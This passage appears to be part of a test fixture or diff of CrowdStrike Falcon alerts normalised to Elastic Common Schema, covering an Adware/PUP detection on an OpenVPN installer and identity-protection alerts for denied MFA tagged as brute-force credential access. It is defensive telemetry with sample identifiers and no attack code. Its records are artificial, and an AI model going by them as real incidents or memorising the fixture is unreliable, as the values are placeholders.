"cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - { - "@timestamp": "2024-08-19T18:44:01.100Z", - "cloud": { - "account": { - "id": "65ddx-c454-45f9-9034-Fdf34353" - } - }, - "crowdstrike": { - "alert": { - "active_directory_authentication_method": 5, - "activity": { - "browser": "Edge 126.0.0", - "device": "LAPTOP-AP7299QV", - "id": "2A8A7C96-0F17-412C-8105-94542784E00D", - "os": "Windows" - }, - "agent_id": "38293534662e48c99f33c61631b3536d", - "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "alert_attributes": 0, - "cid": "4446934rf3fdb64ec3056ddfb96e", - "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "confidence": 80, - "context_timestamp": "2024-08-16T18:43:44.242Z", - "crawled_timestamp": "2024-08-16T18:49:02.798Z", - "created_timestamp": "2024-08-16T18:45:02.987Z", - "data_domains": [ - "Identity" - ], - "description": "A user denied a policy identity verification request", - "display_name": "Identity verification denied", - "end_time": "2024-08-16T18:43:44.242Z", - "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "idp_policy": { - "mfa_factor_type": 32769, - "mfa_provider": 14, - "rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", - "rule_name": "admin - RDP Access to TIER-0 Servers" - }, - "ldap_search_query_attack": 16, - "location_country_code": "US", - "location_latitude_as_int": 340726, - "location_longitude_as_int": -1182610, - "model_anomaly_indicators": [ - "ACCOUNT_IMPOSSIBLE_VELOCITY", - "ENVIRONMENT_UNUSUAL_IP", - "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", - "ISP_DATACENTER_CLASSIFICATION" - ], - "name": "IdpPolicyIdentityVerificationDenied", - "objective": "Gain Access", - "pattern_id": "51143", - "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", - "product": "idp", - "protocol_anomaly_classification": 1, - "scenario": "suspicious_activity", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "severity": 79, - "severity_name": "High", - "show_in_ui": true, - "source": { - "account_azure_id": "65ddx-c454-45f9-9034-Fdf34353", - "account_domain": "NET.example.com", - "account_name": "admin.example", - "account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79", - "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733", - "account_sam_account_name": "admin.abcdef", - "account_upn": "admin.abcdef@example.com", - "endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0", - "endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158", - "endpoint_address_ip4": "81.2.69.144", - "endpoint_host_name": "ABDC454.net.example.com", - "endpoint_ip_address": "81.2.69.144", - "endpoint_ip_reputation": 128, - "endpoint_sensor_id": "38293534662e48c99f33c61631b3536d", - "ip_isp_classification": 9, - "ip_isp_domain": "sioru.com" - }, - "source_products": [ - "Falcon Identity Protection" - ], - "source_vendors": [ - "CrowdStrike" - ], - "start_time": "2024-08-19T18:43:44.242Z", - "status": "new", - "tactic": "Credential Access", - "tactic_id": "TA0006", - "tags": [ - "falcon_complete" - ], - "target": { - "account_name": "HFJFJFFFFFFF$", - "domain_controller_host_name": "APINTAL19DC01", - "domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2", - "domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512", - "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E", - "endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236", - "endpoint_host_name": "GH787.net.example.com", - "endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7", - "service_access_identifier": "HOST/admin.example.com" - }, - "technique": "Brute Force", - "technique_id": "T1110", - "timestamp": "2024-08-19T18:44:01.100Z", - "type": "idp-user-endpoint-app-info", - "updated_timestamp": "2024-08-19T18:49:02.798Z", - "user_name": "admin.abcdef" - } - }, - "destination": { - "domain": "GH787.net.example.com", - "user": { - "domain": "APINTAL19DC01", - "name": "HFJFJFFFFFFF$" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "end": "2024-08-16T18:43:44.242Z", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "kind": "alert", - "original": "{\"agent_id\":\"38293534662e48c99f33c61631b3536d\",\"aggregate_id\":\"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"composite_id\":\"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"confidence\":80,\"context_timestamp\":\"2024-08-16T18:43:44.242Z\",\"crawled_timestamp\":\"2024-08-16T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-16T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"A user denied a policy identity verification request\",\"display_name\":\"Identity verification denied\",\"end_time\":\"2024-08-16T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"idp_policy_mfa_factor_type\":\"32769\",\"idp_policy_mfa_provider\":\"14\",\"idp_policy_rule_id\":\"1B82F2DE-2A08-49E0-8F85-AD46996F9A65\",\"idp_policy_rule_name\":\"admin - RDP Access to TIER-0 Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"Gain Access\",\"pattern_id\":51143,\"poly_id\":\"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"High\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-45f9-9034-Fdf34353\",\"source_account_domain\":\"NET.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1567733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"E436B3F0-078C-4629-9437-D3E3169147C0\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293534662e48c99f33c61631b3536d\",\"source_products\":[\"Falcon Identity Protection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"Credential Access\",\"tactic_id\":\"TA0006\",\"technique\":\"Brute Force\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E\",\"target_endpoint_account_object_sid\":\"S-1-5-21-746137067-1844237615-1801674531-298236\",\"target_endpoint_host_name\":\"GH787.net.example.com\",\"target_endpoint_sensor_id\":\"ac89a368e77a4fa5837b53c7f11fc9e7\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge 126.0.0\",\"activity_device\":\"LAPTOP-AP7299QV\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"5\",\"activity_id\":\"2A8A7C96-0F17-412C-8105-94542784E00D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":340726,\"location_longitude_as_int\":-1182610,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"9F2CE16C-4A78-42E6-8565-87147707EE79\",\"source_endpoint_account_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-101158\",\"source_endpoint_ip_reputation\":\"128\",\"source_ip_isp_classification\":\"9\",\"source_ip_isp_domain\":\"sioru.com\",\"target_domain_controller_host_name\":\"APINTAL19DC01\",\"target_domain_controller_object_guid\":\"45A24DB7-6CD3-48C5-974F-A97159E7E2B2\",\"target_domain_controller_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-85512\",\"target_service_access_identifier\":\"HOST/admin.example.com\"}", - "severity": 73, - "start": "2024-08-19T18:43:44.242Z" - }, - "host": { - "id": "38293534662e48c99f33c61631b3536d" - }, - "message": "A user denied a policy identity verification request", - "observer": { - "geo": { - "country_iso_code": "US", - "location": { - "lat": 340726, - "lon": -1182610 - } - } - }, - "related": { - "hosts": [ - "NET.example.com", - "ABDC454.net.example.com", - "GH787.net.example.com", - "APINTAL19DC01" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "admin.example", - "admin.abcdef@example.com", - "HFJFJFFFFFFF$", - "admin.abcdef" - ] - }, - "rule": { - "id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", - "name": "admin - RDP Access to TIER-0 Servers" - }, - "source": { - "domain": "ABDC454.net.example.com", - "ip": "81.2.69.144", - "user": { - "domain": "NET.example.com", - "name": "admin.example" - } - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "falcon_complete" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0006" - ], - "name": [ - "Credential Access" - ] - }, - "technique": { - "id": [ - "T1110" - ], - "name": [ - "Brute Force" - ] - } - }, - "user": { - "name": "admin.abcdef" - } - }, - { - "@timestamp": "2024-08-19T18:44:01.100Z", - "cloud": { - "account": { - "id": "65ddx-c454-324d-9034-Fdf34353" - } - }, - "crowdstrike": { - "alert": { - "active_directory_authentication_method": 4, - "activity": { - "browser": "Edge126.0.0", - "device": "LAPTOP-ADFVEJM234V", - "id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D", - "os": "Windows" - }, - "agent_id": "58293534772e48c99f33c61631b3536d", - "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9", - "alert_attributes": 0, - "cid": "4446934rf3fdb64ec3056ddfb96e", - "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "context_timestamp": "2024-08-19T18:43:44.242Z", - "crawled_timestamp": "2024-08-19T18:49:02.798Z", - "created_timestamp": "2024-08-19T18:45:02.987Z", - "data_domains": [ - "Identity" - ], - "description": "Auserdeniedapolicyidentityverificationrequest", - "display_name": "Identityverificationdenied", - "end_time": "2024-08-19T18:43:44.242Z", - "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", - "idp_policy": { - "mfa_factor_type": 42669, - "mfa_provider": 11, - "rule_id": "123324-343-4dfa9E0-8F85-dfaa3242", - "rule_name": "admin-RDPAccesstoTIER-0Servers" - }, - "ldap_search_query_attack": 16, - "location_country_code": "US", - "location_latitude_as_int": 320316, - "location_longitude_as_int": -12729080, - "model_anomaly_indicators": [ - "ACCOUNT_IMPOSSIBLE_VELOCITY", - "ENVIRONMENT_UNUSUAL_IP", - "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", - "ISP_DATACENTER_CLASSIFICATION" - ], - "name": "IdpPolicyIdentityVerificationDenied", - "objective": "GainAccess", - "pattern_id": "45897", - "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", - "product": "idp", - "protocol_anomaly_classification": 1, - "scenario": "suspicious_activity", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "severity": 79, - "severity_name": "Medium", - "show_in_ui": true, - "source": { - "account_azure_id": "65ddx-c454-324d-9034-Fdf34353", - "account_domain": "BCD.example.com", - "account_name": "admin.example", - "account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324", - "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733", - "account_sam_account_name": "admin.abcdef", - "account_upn": "admin.abcdef@example.com", - "endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ", - "endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999", - "endpoint_address_ip4": "81.2.69.144", - "endpoint_host_name": "ABDC454.net.example.com", - "endpoint_ip_address": "81.2.69.144", - "endpoint_ip_reputation": 118, - "endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e", - "ip_isp_classification": 8, - "ip_isp_domain": "abc.com" - }, - "source_products": [ - "FalconIdentityProtection" - ], - "source_vendors": [ - "CrowdStrike" - ], - "start_time": "2024-08-19T18:43:44.242Z", - "status": "new", - "tactic": "CredentialAccess", - "tactic_id": "TA0006", - "tags": [ - "falcon_complete" - ], - "target": { - "account_name": "HFJFJFFFFFFF$", - "domain_controller_host_name": "GHPOTAL12578", - "domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1", - "domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511", - "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536", - "endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236", - "endpoint_host_name": "GH787.abc.example.com", - "endpoint_sensor_id": "afdsasf3423432nndv3432v", - "service_access_identifier": "HOST/root.demo.com" - }, - "technique": "BruteForce", - "technique_id": "T1110", - "timestamp": "2024-08-19T18:44:01.100Z", - "type": "idp-user-endpoint-app-info", - "updated_timestamp": "2024-08-19T18:49:02.798Z", - "user_name": "admin.abcdef" - } - }, - "destination": { - "domain": "GH787.abc.example.com", - "user": { - "domain": "GHPOTAL12578", - "name": "HFJFJFFFFFFF$" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "end": "2024-08-19T18:43:44.242Z", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", - "kind": "alert", - "original": "{\"aggregate_id\":\"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9\",\"agent_id\":\"58293534772e48c99f33c61631b3536d\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"context_timestamp\":\"2024-08-19T18:43:44.242Z\",\"composite_id\":\"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"crawled_timestamp\":\"2024-08-19T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-19T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"Auserdeniedapolicyidentityverificationrequest\",\"display_name\":\"Identityverificationdenied\",\"end_time\":\"2024-08-19T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429\",\"idp_policy_mfa_factor_type\":\"42669\",\"idp_policy_mfa_provider\":\"11\",\"idp_policy_rule_id\":\"123324-343-4dfa9E0-8F85-dfaa3242\",\"idp_policy_rule_name\":\"admin-RDPAccesstoTIER-0Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"GainAccess\",\"pattern_id\":45897,\"poly_id\":\"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-324d-9034-Fdf34353\",\"source_account_domain\":\"BCD.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1117733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"FDHJJ343-098C-4629-9437-DD3424GHJ\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293523261gh48c99ffd234c6190123536e\",\"source_products\":[\"FalconIdentityProtection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"CredentialAccess\",\"tactic_id\":\"TA0006\",\"technique\":\"BruteForce\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536\",\"target_endpoint_account_object_sid\":\"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236\",\"target_endpoint_host_name\":\"GH787.abc.example.com\",\"target_endpoint_sensor_id\":\"afdsasf3423432nndv3432v\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge126.0.0\",\"activity_device\":\"LAPTOP-ADFVEJM234V\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"4\",\"activity_id\":\"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":320316,\"location_longitude_as_int\":-12729080,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"78HF9842-HGG5-324F-9565-GJD47324\",\"source_endpoint_account_object_sid\":\"S-1-4-21-111111111-2222222-14171121333-1045999\",\"source_endpoint_ip_reputation\":\"118\",\"source_ip_isp_classification\":\"8\",\"source_ip_isp_domain\":\"abc.com\",\"target_domain_controller_host_name\":\"GHPOTAL12578\",\"target_domain_controller_object_guid\":\"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1\",\"target_domain_controller_object_sid\":\"S-2-8-21-333333-2222222-3431-95511\",\"target_service_access_identifier\":\"HOST/root.demo.com\"}", - "severity": 47, - "start": "2024-08-19T18:43:44.242Z" - }, - "host": { - "id": "58293534772e48c99f33c61631b3536d" - }, - "message": "Auserdeniedapolicyidentityverificationrequest", - "observer": { - "geo": { - "country_iso_code": "US", - "location": { - "lat": 320316, - "lon": -12729080 - } - } - }, - "related": { - "hosts": [ - "BCD.example.com", - "ABDC454.net.example.com", - "GH787.abc.example.com", - "GHPOTAL12578" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "admin.example", - "admin.abcdef@example.com", - "HFJFJFFFFFFF$", - "admin.abcdef" - ] - }, - "rule": { - "id": "123324-343-4dfa9E0-8F85-dfaa3242", - "name": "admin-RDPAccesstoTIER-0Servers" - }, - "source": { - "domain": "ABDC454.net.example.com", - "ip": "81.2.69.144", - "user": { - "domain": "BCD.example.com", - "name": "admin.example" - } - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "falcon_complete" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0006" - ], - "name": [ - "CredentialAccess" - ] - }, - "technique": { - "id": [ - "T1110" - ], - "name": [ - "BruteForce" - ] - } - }, - "user": { - "name": "admin.abcdef" - } - }, - { - "@timestamp": "2023-11-03T18:00:22.328Z", - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": 